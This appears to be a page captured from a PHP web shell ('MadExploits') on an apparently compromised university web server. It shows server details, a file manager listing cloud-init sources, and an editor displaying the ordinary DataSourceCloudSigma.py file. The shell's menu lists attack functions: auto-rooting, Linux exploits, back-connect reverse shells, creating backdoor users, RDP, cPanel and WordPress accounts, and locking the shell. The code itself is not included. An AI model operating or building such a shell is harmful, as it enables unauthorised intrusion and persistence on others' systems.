Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.139.80.107
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
cloudinit /
sources /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
azure
[ DIR ]
drwxr-xr-x
helpers
[ DIR ]
drwxr-xr-x
DataSourceAkamai.py
12.66
KB
-rw-r--r--
DataSourceAliYun.py
3.26
KB
-rw-r--r--
DataSourceAltCloud.py
8.42
KB
-rw-r--r--
DataSourceAzure.py
75.51
KB
-rw-r--r--
DataSourceBigstep.py
1.9
KB
-rw-r--r--
DataSourceCloudCIX.py
5.19
KB
-rw-r--r--
DataSourceCloudSigma.py
3.86
KB
-rw-r--r--
DataSourceCloudStack.py
11.21
KB
-rw-r--r--
DataSourceConfigDrive.py
11.23
KB
-rw-r--r--
DataSourceDigitalOcean.py
4.2
KB
-rw-r--r--
DataSourceEc2.py
41.79
KB
-rw-r--r--
DataSourceExoscale.py
8.55
KB
-rw-r--r--
DataSourceGCE.py
13.33
KB
-rw-r--r--
DataSourceHetzner.py
5.39
KB
-rw-r--r--
DataSourceIBMCloud.py
14.65
KB
-rw-r--r--
DataSourceLXD.py
17.2
KB
-rw-r--r--
DataSourceMAAS.py
14.85
KB
-rw-r--r--
DataSourceNWCS.py
4.41
KB
-rw-r--r--
DataSourceNoCloud.py
15.93
KB
-rw-r--r--
DataSourceNone.py
1.27
KB
-rw-r--r--
DataSourceOVF.py
12.7
KB
-rw-r--r--
DataSourceOpenNebula.py
15.67
KB
-rw-r--r--
DataSourceOpenStack.py
10.1
KB
-rw-r--r--
DataSourceOracle.py
21.07
KB
-rw-r--r--
DataSourceRbxCloud.py
7.85
KB
-rw-r--r--
DataSourceScaleway.py
14.73
KB
-rw-r--r--
DataSourceSmartOS.py
34.26
KB
-rw-r--r--
DataSourceUpCloud.py
5.2
KB
-rw-r--r--
DataSourceVMware.py
35.31
KB
-rw-r--r--
DataSourceVultr.py
4.51
KB
-rw-r--r--
DataSourceWSL.py
14.37
KB
-rw-r--r--
__init__.py
43.63
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : DataSourceCloudSigma.py
# Copyright (C) 2014 CloudSigma # # Author: Kiril Vladimiroff <kiril.vladimiroff@cloudsigma.com> # # This file is part of cloud-init. See LICENSE file for license information. import logging import re from base64 import b64decode from cloudinit import dmi, sources from cloudinit.sources import DataSourceHostname from cloudinit.sources.helpers.cloudsigma import SERIAL_PORT, Cepko LOG = logging.getLogger(__name__) class DataSourceCloudSigma(sources.DataSource): """ Uses cepko in order to gather the server context from the VM. For more information about CloudSigma's Server Context: http://cloudsigma-docs.readthedocs.org/en/latest/server_context.html """ dsname = "CloudSigma" def __init__(self, sys_cfg, distro, paths): self.cepko = Cepko() self.ssh_public_key = "" sources.DataSource.__init__(self, sys_cfg, distro, paths) @staticmethod def ds_detect(): """ Uses dmi data to detect if this instance of cloud-init is running in the CloudSigma's infrastructure. """ LOG.debug("determining hypervisor product name via dmi data") sys_product_name = dmi.read_dmi_data("system-product-name") if not sys_product_name: LOG.debug("system-product-name not available in dmi data") return False LOG.debug("detected hypervisor as %s", sys_product_name) return "cloudsigma" in sys_product_name.lower() def _get_data(self): """ Metadata is the whole server context and /meta/cloud-config is used as userdata. """ dsmode = None try: server_context = self.cepko.all().result server_meta = server_context["meta"] except Exception: # TODO: check for explicit "config on", and then warn # but since no explicit config is available now, just debug. LOG.debug("CloudSigma: Unable to read from serial port") return False self.dsmode = self._determine_dsmode( [server_meta.get("cloudinit-dsmode")] ) if dsmode == sources.DSMODE_DISABLED: return False base64_fields = server_meta.get("base64_fields", "").split(",") self.userdata_raw = server_meta.get("cloudinit-user-data", "") if "cloudinit-user-data" in base64_fields: self.userdata_raw = b64decode(self.userdata_raw) if "cloudinit" in server_context.get("vendor_data", {}): self.vendordata_raw = server_context["vendor_data"]["cloudinit"] self.metadata = server_context self.ssh_public_key = server_meta["ssh_public_key"] return True def _get_subplatform(self): """Return the subplatform metadata source details.""" return "cepko (%s)" % SERIAL_PORT def get_hostname(self, fqdn=False, resolve_ip=False, metadata_only=False): """ Cleans up and uses the server's name if the latter is set. Otherwise the first part from uuid is being used. """ if re.match(r"^[A-Za-z0-9 -_\.]+$", self.metadata["name"]): ret = self.metadata["name"][:61] else: ret = self.metadata["uuid"].split("-")[0] return DataSourceHostname(ret, False) def get_public_ssh_keys(self): return [self.ssh_public_key] def get_instance_id(self): return self.metadata["uuid"] # Legacy: Must be present in case we load an old pkl object DataSourceCloudSigmaNet = DataSourceCloudSigma # Used to match classes to dependencies. Since this datasource uses the serial # port network is not really required, so it's okay to load without it, too. datasources = [ (DataSourceCloudSigma, (sources.DEP_FILESYSTEM,)), ] def get_datasource_list(depends): """ Return a list of data sources that match this set of dependencies """ return sources.list_from_depends(depends, datasources)
Close